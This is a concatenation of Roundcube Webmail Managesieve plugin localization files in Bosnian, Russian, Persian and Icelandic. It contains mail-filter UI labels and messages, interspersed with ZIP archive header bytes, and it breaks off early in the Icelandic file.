$labels['day'] = 'dan';
$labels['date'] = 'datum (gggg-mm-dd)';
$labels['julian'] = 'datum (julijanski)';
$labels['hour'] = 'sat';
$labels['minute'] = 'minuta';
$labels['second'] = 'sekunda';
$labels['time'] = 'vrijeme (hh:mm:ss)';
$labels['iso8601'] = 'datum (ISO8601)';
$labels['std11'] = 'datum (RFC2822)';
$labels['zone'] = 'vremenska zona';
$labels['weekday'] = 'sedmica (0-6)';
$labels['advancedopts'] = 'Napredne opcije';
$labels['body'] = 'Tijelo';
$labels['address'] = 'adresa';
$labels['envelope'] = 'koverta';
$labels['modifier'] = 'prilagođavanje:';
$labels['text'] = 'tekst';
$labels['undecoded'] = 'nekodiran (obični)';
$labels['contenttype'] = 'vrsta sadržaja';
$labels['modtype'] = 'vrsta:';
$labels['allparts'] = 'sve';
$labels['domain'] = 'domena';
$labels['localpart'] = 'lokalni dio';
$labels['user'] = 'korisnik';
$labels['detail'] = 'detalji';
$labels['comparator'] = 'upoređivač:';
$labels['default'] = 'početno';
$labels['octet'] = 'striktno (oktet)';
$labels['asciicasemap'] = 'osjetljivo na velika/mala slova (ascii-casemap)';
$labels['asciinumeric'] = 'numerički (ascii-numeric)';
$labels['index'] = 'indeks:';
$labels['indexlast'] = 'unazad';
$labels['spamtestequals'] = 'jednako';
$labels['spamtestnotequals'] = 'nije jednako';
$labels['vacation.reply'] = 'Poruka sa odgovorom';
$labels['vacation.advanced'] = 'Napredmen postavke';
$labels['vacation.subject'] = 'Naslov';
$labels['vacation.body'] = 'Tijelo';
$labels['vacation.status'] = 'Status';
$labels['vacation.on'] = 'Uključeno';
$labels['vacation.off'] = 'Isključeno';
$labels['vacation.addresses'] = 'Moje email adrese';
$labels['vacation.interval'] = 'Interval odgovora';
$labels['vacation.saving'] = 'Snimam podatke...';
$labels['vacation.action'] = 'Akcija za dolazne poruke';
$labels['vacation.keep'] = 'Zadrži';
$labels['vacation.discard'] = 'Odbaci';
$labels['vacation.redirect'] = 'Preusmeri ka';
$labels['vacation.copy'] = 'Pošalji kopiju na';
$labels['forward.redirect'] = 'Preusmeri ka';
$labels['forward.copy'] = 'Pošalji kopiju na';
$labels['forward.on'] = 'Uključeno';
$labels['forward.off'] = 'Isključeno';
$labels['forward.saving'] = 'Snimam podatke...';
$labels['filladdresses'] = 'Popuni svim mojim adresama';
$labels['arialabelfiltersetactions'] = 'Akcije za filterske setove';
$labels['arialabelfilteractions'] = 'Filterske akcije';
$labels['arialabelfilterform'] = 'Svojstva filtera';
$labels['ariasummaryfilterslist'] = 'Lista filtera';
$labels['ariasummaryfiltersetslist'] = 'Lista filterskih setova';
$labels['filterstitle'] = 'Uredi filtere za dolazni email';
$labels['vacationtitle'] = 'Uredi pravila kada nisam na poslu';
$labels['duplicate.header'] = 'zaglavlje:';
$messages['filterunknownerror'] = 'Nepoznata serverska greška.';
$messages['filterconnerror'] = 'Nije se moguće povezati na server.';
$messages['filterdeleteerror'] = 'Nije moguće obrisati filter. Desila se serverska greška.';
$messages['filterdeleted'] = 'Filter je uspješno obrisan.';
$messages['filtersaved'] = 'Filter je uspješno sačuvan.';
$messages['filtersaveerror'] = 'Nije moguće sačuvati filter. Desila se serverska greška.';
$messages['filterdeleteconfirm'] = 'Da li zaista želite obrisati označeni filter?';
$messages['ruledeleteconfirm'] = 'Jeste li sigurni da želite obrisati označeno pravilo?';
$messages['actiondeleteconfirm'] = 'Jeste li sigurni da želite obrisati označenu akciju?';
$messages['forbiddenchars'] = 'U polje su uneseni nedozvoljeni znakovi.';
$messages['cannotbeempty'] = 'Polje ne može biti prazno.';
$messages['ruleexist'] = 'Filter s tim imenom već postoji.';
$messages['activateerror'] = 'Nije moguće omogućiti označene filtere. Desila se serverska greška.';
$messages['deactivateerror'] = 'Nije moguće onemogućiti označene filtere. Desila se serverska greška.';
$messages['deactivated'] = 'Filteri su uspješno omogućeni.';
$messages['activated'] = 'Filteri su uspješno onemogućeni.';
$messages['moved'] = 'Filteri su uspješno premješteni.';
$messages['moveerror'] = 'Nije moguće premjestiti označeni filter. Desila se serverska greška.';
$messages['nametoolong'] = 'Ime je predugo.';
$messages['namereserved'] = 'Ime je rezervisano.';
$messages['setexist'] = 'Set već postoji.';
$messages['nodata'] = 'Morate označiti barem jednu poziciju!';
$messages['invaliddateformat'] = 'Netačan datum ili dio formata datuma';
$messages['saveerror'] = 'Nije moguće snimiti podatke. Desila se serverska greška.';
$messages['emptyvacationbody'] = 'Tijelo poruke za odmor je neophodno!';
PKh�\�v�pJpJ*plugins/managesieve/localization/ru_RU.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Managesieve plugin         |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-managesieve/
*/


$labels['filters'] = 'Фильтры';
$labels['managefilters'] = 'Управление фильтрами для входящей почты';
$labels['filtername'] = 'Название фильтра';
$labels['newfilter'] = 'Новый фильтр';
$labels['filteradd'] = 'Добавить фильтр';
$labels['filterdel'] = 'Удалить фильтр';
$labels['rules'] = 'Правила';
$labels['actions'] = 'Действия';
$labels['scope'] = 'Область';
$labels['moveup'] = 'Сдвинуть вверх';
$labels['movedown'] = 'Сдвинуть вниз';
$labels['filterallof'] = 'соответствует всем указанным правилам';
$labels['filteranyof'] = 'соответствует любому из указанных правил';
$labels['filterany'] = 'все сообщения';
$labels['filtercontains'] = 'содержит';
$labels['filternotcontains'] = 'не содержит';
$labels['filteris'] = 'соответствует';
$labels['filterisnot'] = 'не соответствует';
$labels['filterexists'] = 'существует';
$labels['filternotexists'] = 'не существует';
$labels['filtermatches'] = 'совпадает с выражением';
$labels['filternotmatches'] = 'не совпадает с выражением';
$labels['filterregex'] = 'совпадает с регулярным выражением';
$labels['filternotregex'] = 'не совпадает с регулярным выражением';
$labels['filterunder'] = 'меньше';
$labels['filterover'] = 'больше';
$labels['mime'] = 'MIME:';
$labels['mimepart'] = 'MIME часть:';
$labels['mime-message'] = 'сообщение';
$labels['mime-anychild'] = 'любой';
$labels['mime-type'] = 'тип';
$labels['mime-subtype'] = 'подтип';
$labels['mime-contenttype'] = 'тип содержимого';
$labels['mime-param'] = 'параметр';
$labels['addrule'] = 'Добавить правило';
$labels['delrule'] = 'Удалить правило';
$labels['messagemoveto'] = 'Переместить сообщение в';
$labels['messageredirect'] = 'Перенаправить сообщение на';
$labels['messagecopyto'] = 'Скопировать сообщение в';
$labels['messagesendcopy'] = 'Отправить копию сообщения на';
$labels['messagereply'] = 'Ответить с сообщением';
$labels['messagedelete'] = 'Удалить сообщение';
$labels['messagediscard'] = 'Не принимать и ответить:';
$labels['messagekeep'] = 'Оставить сообщение во Входящих';
$labels['messagesrules'] = 'Для входящей почты:';
$labels['messagesactions'] = '...выполнить следующие действия:';
$labels['add'] = 'Добавить';
$labels['del'] = 'Удалить';
$labels['sender'] = 'Отправитель';
$labels['recipient'] = 'Получатель';
$labels['vacationaddr'] = 'Мои адреса эл. почты:';
$labels['vacationdays'] = 'Как часто отправлять сообщения (в днях):';
$labels['vacationinterval'] = 'Как часто отправлять сообщения:';
$labels['vacationreason'] = 'Текст сообщения (причина отсутствия):';
$labels['vacationfrom'] = 'Обратный адрес отправителя:';
$labels['vacationsubject'] = 'Тема сообщения:';
$labels['days'] = 'дней';
$labels['seconds'] = 'секунд';
$labels['rulestop'] = 'Закончить выполнение';
$labels['enable'] = 'Включить/Выключить';
$labels['filterset'] = 'Набор фильтров';
$labels['filtersets'] = 'Наборы фильтров';
$labels['filtersetadd'] = 'Добавить набор фильтров';
$labels['filtersetdel'] = 'Удалить набор фильтров';
$labels['filtersetact'] = 'Включить текущий набор фильтров';
$labels['filtersetdeact'] = 'Отключить текущий набор фильтров';
$labels['filterseteditraw'] = 'Изменить набор фильтров';
$labels['filtersetswitch'] = 'Включить/выключить набор фильтров';
$labels['filterdef'] = 'Описание фильтра';
$labels['filtersetname'] = 'Название набора фильтров';
$labels['newfilterset'] = 'Новый набор фильтров';
$labels['active'] = 'используется';
$labels['none'] = 'нет';
$labels['fromset'] = 'из набора';
$labels['fromfile'] = 'из файла';
$labels['filterdisabled'] = 'Отключить фильтр';
$labels['filterenabled'] = 'Фильтр включен';
$labels['countisgreaterthan'] = 'количество больше, чем';
$labels['countisgreaterthanequal'] = 'количество больше или равно';
$labels['countislessthan'] = 'количество меньше, чем';
$labels['countislessthanequal'] = 'количество меньше или равно';
$labels['countequals'] = 'количество равно';
$labels['countnotequals'] = 'количество не равно';
$labels['valueisgreaterthan'] = 'значение больше, чем';
$labels['valueisgreaterthanequal'] = 'значение больше или равно';
$labels['valueislessthan'] = 'значение меньше, чем';
$labels['valueislessthanequal'] = 'значение меньше или равно';
$labels['valueequals'] = 'значение равно';
$labels['valuenotequals'] = 'значение не равно';
$labels['setflags'] = 'Установить флаги на сообщение';
$labels['addflags'] = 'Добавить флаги к сообщению';
$labels['removeflags'] = 'Убрать флаги из сообщения';
$labels['flagread'] = 'Прочитано';
$labels['flagdeleted'] = 'Удалено';
$labels['flaganswered'] = 'Отвечено';
$labels['flagflagged'] = 'Помечено';
$labels['flagdraft'] = 'Черновик';
$labels['addheader'] = 'Добавить заголовок к сообщению';
$labels['deleteheader'] = 'Удалить заголовок из сообщения';
$labels['headername'] = 'Название заголовка';
$labels['headervalue'] = 'Значение заголовка';
$labels['headerpos'] = 'Положение заголовка';
$labels['headeratstart'] = 'в начале';
$labels['headeratend'] = 'в конце';
$labels['headeroccurrence'] = 'Появление/положение заголовка';
$labels['headerfromstart'] = 'с конца';
$labels['headerfromend'] = 'с начала';
$labels['headerpatterns'] = 'Шаблоны значений заголовков';
$labels['headermatchtype'] = 'тип соответствия:';
$labels['setvariable'] = 'Задать переменную';
$labels['setvarname'] = 'Имя переменной:';
$labels['setvarvalue'] = 'Значение переменной:';
$labels['setvarmodifiers'] = 'Модификаторы:';
$labels['varlower'] = 'нижний регистр';
$labels['varupper'] = 'верхний регистр';
$labels['varlowerfirst'] = 'первый символ в нижнем регистре';
$labels['varupperfirst'] = 'первый символ в верхнем регистре';
$labels['varquotewildcard'] = 'символ кавычек';
$labels['varlength'] = 'длина';
$labels['notify'] = 'Отправить уведомление';
$labels['notifytarget'] = 'Объект уведомления:';
$labels['notifymessage'] = 'Сообщение уведомления (не обязательно):';
$labels['notifyoptions'] = 'Параметры уведомления (не обязательно):';
$labels['notifyfrom'] = 'Отправитель уведомления (не обязательно):';
$labels['notifyimportance'] = 'Важность:';
$labels['notifyimportancelow'] = 'низкая';
$labels['notifyimportancenormal'] = 'нормальная';
$labels['notifyimportancehigh'] = 'высокая';
$labels['notifymethodmailto'] = 'Email';
$labels['notifymethodtel'] = 'Телефон';
$labels['notifymethodsms'] = 'SMS';
$labels['filtercreate'] = 'Создать фильтр';
$labels['usedata'] = 'Использовать следующие данные в фильтре:';
$labels['nextstep'] = 'Далее';
$labels['...'] = '...';
$labels['string'] = 'Строка';
$labels['currdate'] = 'Текущая дата';
$labels['datetest'] = 'Дата';
$labels['dateheader'] = 'заголовок:';
$labels['year'] = 'год';
$labels['month'] = 'месяц';
$labels['day'] = 'день';
$labels['date'] = 'дата (гггг-мм-дд)';
$labels['julian'] = 'дата (юлианская)';
$labels['hour'] = 'час';
$labels['minute'] = 'минута';
$labels['second'] = 'секунда';
$labels['time'] = 'время (чч:мм:сс)';
$labels['iso8601'] = 'дата (ISO8601)';
$labels['std11'] = 'дата (RFC2822)';
$labels['zone'] = 'часовой пояс';
$labels['weekday'] = 'день недели (0-6)';
$labels['advancedopts'] = 'Дополнительные параметры';
$labels['body'] = 'Тело письма';
$labels['address'] = 'адрес';
$labels['envelope'] = 'конверт';
$labels['modifier'] = 'модификатор области поиска:';
$labels['text'] = 'текст';
$labels['undecoded'] = 'необработанный (сырой)';
$labels['contenttype'] = 'тип содержимого';
$labels['modtype'] = 'поиск в адресах:';
$labels['allparts'] = 'везде';
$labels['domain'] = 'в имени домена';
$labels['localpart'] = 'только в имени пользователя, без домена';
$labels['user'] = 'в полном имени пользователя';
$labels['detail'] = 'в дополнительных сведениях';
$labels['comparator'] = 'способ сравнения:';
$labels['default'] = 'по умолчанию';
$labels['octet'] = 'Строгий (octet)';
$labels['asciicasemap'] = 'Регистронезависимый (ascii-casemap)';
$labels['asciinumeric'] = 'Числовой (ascii-numeric)';
$labels['index'] = 'индекс:';
$labels['indexlast'] = 'наоборот';
$labels['spamtest'] = 'Уровень спама';
$labels['spamtestisgreaterthan'] = 'больше, чем';
$labels['spamtestisgreaterthanequal'] = 'больше или равно';
$labels['spamtestislessthan'] = 'меньше чем';
$labels['spamtestislessthanequal'] = 'меньше или равно';
$labels['spamtestequals'] = 'соответствует';
$labels['spamtestnotequals'] = 'не соответствует';
$labels['spamtestisunknown'] = 'неизвестно';
$labels['vacation'] = 'Вне офиса';
$labels['vacation.reply'] = 'Ответное сообщение';
$labels['vacation.advanced'] = 'Дополнительные настройки';
$labels['vacation.from'] = 'Обратный адрес отправителя';
$labels['vacation.subject'] = 'Тема';
$labels['vacation.body'] = 'Тело письма';
$labels['vacation.start'] = 'Время начала';
$labels['vacation.end'] = 'Время окончания';
$labels['vacation.status'] = 'Состояние';
$labels['vacation.on'] = 'Вкл.';
$labels['vacation.off'] = 'Выкл.';
$labels['vacation.addresses'] = 'Мои адреса эл. почты';
$labels['vacation.interval'] = 'Интервал ответа';
$labels['vacation.after'] = 'Поместить правило отсутствия в офисе после';
$labels['vacation.saving'] = 'Сохранение данных...';
$labels['vacation.action'] = 'Действия с входящим сообщением';
$labels['vacation.keep'] = 'Оставить';
$labels['vacation.discard'] = 'Отменить';
$labels['vacation.redirect'] = 'Перенаправить на';
$labels['vacation.copy'] = 'Отправить копию на';
$labels['forward'] = 'Пересылка';
$labels['forward.redirect'] = 'Перенаправить на';
$labels['forward.copy'] = 'Отправить копию на';
$labels['forward.on'] = 'Вкл.';
$labels['forward.off'] = 'Выкл.';
$labels['forward.status'] = 'Статус:';
$labels['forward.action'] = 'Выполнить следующее действие для входящих сообщений:';
$labels['forward.saving'] = 'Сохранение данных...';
$labels['filladdresses'] = 'Заполнить всеми моими адресами';
$labels['arialabelfiltersetactions'] = 'Действия набора фильтров';
$labels['arialabelfilteractions'] = 'Действия фильтра';
$labels['arialabelfilterform'] = 'Свойства фильтра';
$labels['ariasummaryfilterslist'] = 'Список фильтров';
$labels['ariasummaryfiltersetslist'] = 'Список набора фильтров';
$labels['filterstitle'] = 'Редактировать фильтры для входящей почты';
$labels['vacationtitle'] = 'Изменить правило "Не в офисе"';
$labels['forwardtitle'] = 'Изменить правило пересылки';
$labels['message'] = 'Сообщение';
$labels['duplicate'] = 'дублируется';
$labels['notduplicate'] = 'не дублируется';
$labels['duplicate.handle'] = 'дескриптор:';
$labels['duplicate.header'] = 'заголовок:';
$labels['duplicate.uniqueid'] = 'идентификатор:';
$labels['duplicate.seconds'] = 'тайм-аут (секунд):';
$labels['duplicate.last'] = 'относительно последнего запуска';
$messages['filterunknownerror'] = 'Неизвестная ошибка сервера.';
$messages['filterconnerror'] = 'Невозможно подключиться к серверу.';
$messages['filterdeleteerror'] = 'Невозможно удалить фильтр. Ошибка сервера.';
$messages['filterdeleted'] = 'Фильтр успешно удалён.';
$messages['filtersaved'] = 'Фильтр успешно сохранён.';
$messages['filtersaveerror'] = 'Невозможно сохранить фильтр. Ошибка сервера.';
$messages['filterformerror'] = 'Форма фильтра содержит ошибки.';
$messages['filterdeleteconfirm'] = 'Вы действительно хотите удалить выделенный фильтр?';
$messages['ruledeleteconfirm'] = 'Вы уверенны, что хотите удалить выделенное правило?';
$messages['actiondeleteconfirm'] = 'Вы уверенны, что хотите удалить выделенное действие?';
$messages['forbiddenchars'] = 'Недопустимые символы в поле.';
$messages['cannotbeempty'] = 'Поле не может быть пустым.';
$messages['ruleexist'] = 'Фильтр с таким именем уже существует.';
$messages['setactivateerror'] = 'Невозможно включить выбранный набор фильтров. Ошибка сервера.';
$messages['setdeactivateerror'] = 'Невозможно отключить выбранный набор фильтров. Ошибка сервера.';
$messages['setdeleteerror'] = 'Невозможно удалить выбранный набор фильтров. Ошибка сервера.';
$messages['setactivated'] = 'Набор фильтров успешно включён.';
$messages['setdeactivated'] = 'Набор фильтров успешно отключён.';
$messages['setdeleted'] = 'Набор фильтров успешно удалён.';
$messages['setupdated'] = 'Набор фильтров успешно обновлён.';
$messages['setdeleteconfirm'] = 'Вы уверены в том, что хотите удалить выбранный набор фильтров?';
$messages['setcreateerror'] = 'Невозможно создать набор фильтров. Ошибка сервера.';
$messages['setcreated'] = 'Набор фильтров успешно создан.';
$messages['activateerror'] = 'Невозможно включить выбранный(е) фильтр(ы). Ошибка сервера.';
$messages['deactivateerror'] = 'Невозможно выключить выбранный(е) фильтр(ы). Ошибка сервера.';
$messages['deactivated'] = 'Фильтр(ы) успешно отключен(ы).';
$messages['activated'] = 'Фильтр(ы) успешно включен(ы).';
$messages['moved'] = 'Фильтр успешно перемещён.';
$messages['moveerror'] = 'Невозможно переместить фильтр. Ошибка сервера.';
$messages['nametoolong'] = 'Слишком длинное имя.';
$messages['namereserved'] = 'Зарезервированное имя.';
$messages['setexist'] = 'Набор уже существует.';
$messages['nodata'] = 'Нужно выбрать хотя бы одну позицию!';
$messages['invaliddateformat'] = 'Неверная дата или формат части даты';
$messages['saveerror'] = 'Невозможно сохранить данные. Ошибка сервера.';
$messages['vacationsaved'] = 'Данные об отсутствии успешно сохранены.';
$messages['forwardsaved'] = 'Данные о пересылке успешно сохранены.';
$messages['emptyvacationbody'] = 'Сообщение о причине отсутствия не может быть пустым!';
$messages['duplicate.conflict.err'] = 'Не разрешено использовать заголовок и уникальный идентификатор вместе.';
$messages['disabledaction'] = 'Действие не разрешено.';
$messages['lastindexempty'] = 'Индекс необходим при подсчете с конца';
$messages['noflagset'] = 'Нужно выбрать хотя бы один флаг.';
PKh�\2~��0/0/*plugins/managesieve/localization/fa_IR.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Managesieve plugin         |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-managesieve/
*/


$labels['filters'] = 'پالایه‌ها';
$labels['managefilters'] = 'مدیریت پالایه‌های نامه ورودی';
$labels['filtername'] = 'نام پالایه';
$labels['newfilter'] = 'پالایه جدید';
$labels['filteradd'] = 'افزودن پالایه';
$labels['filterdel'] = 'حذف پالایه';
$labels['actions'] = 'اقدام‌ها';
$labels['scope'] = 'حوزه';
$labels['moveup'] = 'انتقال به بالا';
$labels['movedown'] = 'انتقال به پایین';
$labels['filterallof'] = 'مطابقت همه قوانین ذیل';
$labels['filteranyof'] = 'مطابقت هر کدام از قوانین ذیل';
$labels['filterany'] = 'همه پیام ها';
$labels['filtercontains'] = 'دربرگیرنده';
$labels['filternotcontains'] = 'بدون';
$labels['filteris'] = 'برابر است با';
$labels['filterisnot'] = 'برابر نیست با';
$labels['filterexists'] = 'وجود دارد';
$labels['filternotexists'] = 'وجود ندارد';
$labels['filtermatches'] = 'با عبارت تطابق دارد';
$labels['filternotmatches'] = 'با عبارت تطابق ندارد';
$labels['filterregex'] = 'با عبارت عمومی تطابق دارد';
$labels['filternotregex'] = 'با عبارت عمومی تطابق ندارد';
$labels['filterunder'] = 'زیر';
$labels['filterover'] = 'بالا';
$labels['addrule'] = 'افزودن قانون';
$labels['delrule'] = 'حذف قانون';
$labels['messagemoveto'] = 'انتقال پیام به';
$labels['messageredirect'] = 'بازگردانی پیام به';
$labels['messagecopyto'] = 'رونوشت پیام به';
$labels['messagesendcopy'] = 'ارسال رونوشت پیام به';
$labels['messagereply'] = 'پاسخ همراه پیام';
$labels['messagedelete'] = 'حذف پیام';
$labels['messagediscard'] = 'دور ریختن با پیام';
$labels['messagekeep'] = 'پیام را در صندوق ورودی نگه دار';
$labels['messagesrules'] = 'برای  صندوق ورودی:';
$labels['messagesactions'] = '...انجام اعمال ذیل:';
$labels['add'] = 'افزودن';
$labels['del'] = 'حذف';
$labels['sender'] = 'فرستنده';
$labels['recipient'] = 'گیرنده';
$labels['vacationdays'] = 'پیام ها در چه مواقعی فرستاده شدند (در روزهای):';
$labels['vacationinterval'] = 'مواقعی که پیام‌ها ارسال می‌شوند:';
$labels['vacationreason'] = 'بدنه پیام (علت مسافرت):';
$labels['vacationsubject'] = 'موضوع پیام:';
$labels['days'] = 'روزها';
$labels['seconds'] = 'ثانیه‌ها';
$labels['rulestop'] = 'توقف قوانین ارزیابی';
$labels['enable'] = 'فعال/غیرفعال‌سازی';
$labels['filtersets'] = 'مجموعه‌های پالایه‌ها';
$labels['filterdef'] = 'تعریف پالایه';
$labels['active'] = 'فعال';
$labels['none'] = 'هیچ‌کدام';
$labels['fromset'] = 'از مجموعه';
$labels['fromfile'] = 'از پرونده';
$labels['filterdisabled'] = 'پالایه غیرفعال شد';
$labels['countisgreaterthan'] = 'تعداد بیشتر است از';
$labels['countisgreaterthanequal'] = 'تعداد بیشتر یا مساوی است با';
$labels['countislessthan'] = 'تعداد کمتر است از';
$labels['countislessthanequal'] = 'تعداد کمتر یا مساوی است با';
$labels['countequals'] = 'تعداد مساوی است با';
$labels['countnotequals'] = 'تعداد برابر نیست با';
$labels['valueisgreaterthan'] = 'مقدار بیشتر است از';
$labels['valueisgreaterthanequal'] = 'مقدار بیشتر یا مساوی است با';
$labels['valueislessthan'] = 'مقدار کمتر است از';
$labels['valueislessthanequal'] = 'مقدار کمتر یا مساوی است با';
$labels['valueequals'] = 'مقدار مساوی است با';
$labels['valuenotequals'] = 'مقدار برابر نیست با';
$labels['setflags'] = 'انتخاب پرچم‌ها برای پیام';
$labels['addflags'] = 'افزودن پرچم‌ها برای پیام';
$labels['removeflags'] = 'حذف پرچم‌ها از پیام';
$labels['flagread'] = 'خوانده‌‌شده';
$labels['flagdeleted'] = 'حذف شده';
$labels['flaganswered'] = 'جواب داده شده';
$labels['flagflagged'] = 'پرچم‌دار';
$labels['flagdraft'] = 'پیش‌نویس';
$labels['setvariable'] = 'تنظیم متغیر';
$labels['setvarname'] = 'نام متغییر';
$labels['setvarvalue'] = 'مقدار متغیر:';
$labels['setvarmodifiers'] = 'اصلاح:';
$labels['varlower'] = 'حروف کوچک';
$labels['varupper'] = 'حروف بزرگ';
$labels['varlowerfirst'] = 'حرف اول کوچک';
$labels['varupperfirst'] = 'حرف اول بزرگ';
$labels['varquotewildcard'] = 'نقل قول کاراکترهای خاص';
$labels['varlength'] = 'طول';
$labels['notify'] = 'ارسال تذکر';
$labels['notifytarget'] = 'مقصد آگاه‌سازی:';
$labels['notifymessage'] = 'متن آگاه‌سازی (تختیاری):';
$labels['notifyoptions'] = 'گزینه‌های آگاه‌سازی (اختیاری):';
$labels['notifyfrom'] = 'فرستنده آگاه‌سازی (اختیاری):';
$labels['notifyimportance'] = 'اهمیت:';
$labels['notifyimportancelow'] = 'کم';
$labels['notifyimportancenormal'] = 'معمولی';
$labels['notifyimportancehigh'] = 'زیاد';
$labels['notifymethodmailto'] = 'رایانامه';
$labels['notifymethodtel'] = 'تلفن';
$labels['notifymethodsms'] = 'پیامک';
$labels['filtercreate'] = 'ایجاد پالایه';
$labels['usedata'] = 'استفاده از داده ذیل در پالایه:';
$labels['nextstep'] = 'مرحله بعدی';
$labels['...'] = '...';
$labels['currdate'] = 'تاریخ جاری';
$labels['datetest'] = 'تاریخ';
$labels['dateheader'] = 'سربرگ:';
$labels['year'] = 'سال';
$labels['month'] = 'ماه';
$labels['day'] = 'روز';
$labels['date'] = 'تاریخ (yyyy-mm-dd)';
$labels['julian'] = 'تاریخ (میلادی)';
$labels['hour'] = 'ساعت';
$labels['minute'] = 'دقیقه';
$labels['second'] = 'ثانیه';
$labels['time'] = 'ساعت (hh:mm:ss)';
$labels['iso8601'] = 'تاریخ (ISO8601)';
$labels['std11'] = 'تاریخ (RFC2822)';
$labels['zone'] = 'منطقه زمانی';
$labels['weekday'] = 'روز هفته (0-6)';
$labels['advancedopts'] = 'گزینه‌های پیشرفته';
$labels['body'] = 'بدنه';
$labels['address'] = 'نشانی';
$labels['envelope'] = 'پاکت';
$labels['modifier'] = 'تغییر دهنده:';
$labels['text'] = 'متن‌';
$labels['undecoded'] = 'کد نشده (خام)';
$labels['contenttype'] = 'نوع محتوا';
$labels['modtype'] = 'نوع';
$labels['allparts'] = 'همه';
$labels['domain'] = 'دامنه';
$labels['localpart'] = 'قسمت محلی';
$labels['user'] = 'کاربر';
$labels['detail'] = 'جزئیات';
$labels['comparator'] = 'مقایسه:';
$labels['default'] = 'پیش‌فرض';
$labels['octet'] = 'سخت (octet)';
$labels['asciicasemap'] = 'حساس به حروه کوچک و بزرگ (ascii-casemap)';
$labels['asciinumeric'] = 'عددی (ascii-numeric)';
$labels['index'] = 'فهرست:';
$labels['indexlast'] = 'به عقب';
$labels['spamtestequals'] = 'برابر است با';
$labels['spamtestnotequals'] = 'برابر نیست با';
$labels['vacation.reply'] = 'پاسخ به یغام';
$labels['vacation.advanced'] = 'تنظیمات پیشرفته';
$labels['vacation.subject'] = 'موضوع';
$labels['vacation.body'] = 'بدنه';
$labels['vacation.status'] = 'وضعیت';
$labels['vacation.on'] = 'روشن';
$labels['vacation.off'] = 'خاموش';
$labels['vacation.interval'] = 'فاصله پاسخ';
$labels['vacation.saving'] = 'ذخیره داده‌ها...';
$labels['vacation.action'] = 'کنش عملکرد ورودی';
$labels['vacation.keep'] = 'نگه داشتن';
$labels['vacation.discard'] = 'دور انداختن';
$labels['vacation.redirect'] = 'بازگردانی به';
$labels['vacation.copy'] = 'ارسال رونوشت به';
$labels['forward.redirect'] = 'بازگردانی به';
$labels['forward.copy'] = 'ارسال رونوشت به';
$labels['forward.on'] = 'روشن';
$labels['forward.off'] = 'خاموش';
$labels['forward.saving'] = 'ذخیره داده‌ها...';
$labels['arialabelfiltersetactions'] = 'کنش‌های مجموعه پالایه';
$labels['arialabelfilteractions'] = 'کنش‌های پالایه';
$labels['arialabelfilterform'] = 'خصوصیات پالایه';
$labels['ariasummaryfilterslist'] = 'فهرست پالایه‌ها';
$labels['ariasummaryfiltersetslist'] = 'فهرست مجموعه پالایه‌ها';
$labels['filterstitle'] = 'ویرایش پالایه‌های پست ورودی';
$labels['vacationtitle'] = 'ویرایش نقش بیرون از دفتر';
$labels['duplicate.header'] = 'سربرگ:';
$messages['filterunknownerror'] = 'خطای سرور نامعلوم.';
$messages['filterconnerror'] = 'ناتوانی در اتصال به سرور.';
$messages['filterdeleteerror'] = 'ناتوانی در حذف پالایه. خطای سرور رخ داد.';
$messages['filterdeleted'] = 'پالایه با کام‌یابی حذف شد.';
$messages['filtersaved'] = 'پالایه با کام‌یابی ذخیره شد.';
$messages['filtersaveerror'] = 'ناتوانی در ذخیره فیلتر. خطای سرور رخ داد.';
$messages['filterdeleteconfirm'] = 'آیا مطمئن به حذف پالایه انتخاب شده هستید؟';
$messages['ruledeleteconfirm'] = 'آیا مطمئن هستید که می خواهید قانون انتخاب شده را حذف کنید؟';
$messages['actiondeleteconfirm'] = 'آیا مطمئن هستید که می خواهید عمل انتخاب شده را حذف کنید.';
$messages['forbiddenchars'] = 'حروف ممنوعه در فیلد.';
$messages['cannotbeempty'] = 'فیلد نمی تواند خالی باشد.';
$messages['ruleexist'] = 'پالایه با این نام مشخص وجود دارد.';
$messages['activateerror'] = 'ناتوانی در فعال کردن پالایه(های) انتخاب شده. خطای سرور رخ داد.';
$messages['deactivateerror'] = 'ناتوانی در غیرفعال کردن پالایه(های) انتخاب شده. خطای سرور رخ داد.';
$messages['deactivated'] = 'پالایه(ها) با کام‌یابی فعال شدند.';
$messages['activated'] = 'پالایه(ها) با کام‌یابی غیرفعال شدند.';
$messages['moved'] = 'پالایه با کام‌یابی منتقل شد.';
$messages['moveerror'] = 'ناتوانی در انتقال پالایه انتخاب شده. خطای سرور رخ داد.';
$messages['nametoolong'] = 'نام خیلی بلند.';
$messages['namereserved'] = 'نام رزرو شده.';
$messages['setexist'] = 'مجموعه در حال حاضر موجود است.';
$messages['nodata'] = 'حداقل باید یک موقعیت باید انتخاب شود.';
$messages['invaliddateformat'] = 'قالب تاریخ اشتباه';
$messages['saveerror'] = 'ناتوانی در ذخیره اطلاعات. خطای سرور رخ داد.';
$messages['emptyvacationbody'] = 'متن پیام تعطیلی لازم است!';
PKh�\6+��mm*plugins/managesieve/localization/is_IS.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Managesieve plugin         |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-managesieve/
*/


$labels['filters'] = 'Síur';
$labels['filtername'] = 'Heiti síu';
$labels['newfilter'] = 'Ný sía';
$labels['filteradd'] = 'Bæta við síu';
$labels['filterdel'] = 'Eyða síu';
$labels['rules'] = 'Reglur';
$labels['actions'] = 'Aðgerðir';
$labels['scope'] = 'Umfang';
$labels['moveup'] = 'Færa upp';
$labels['movedown'] = 'Færa niður';
$labels['filterany'] = 'öll skilaboð';
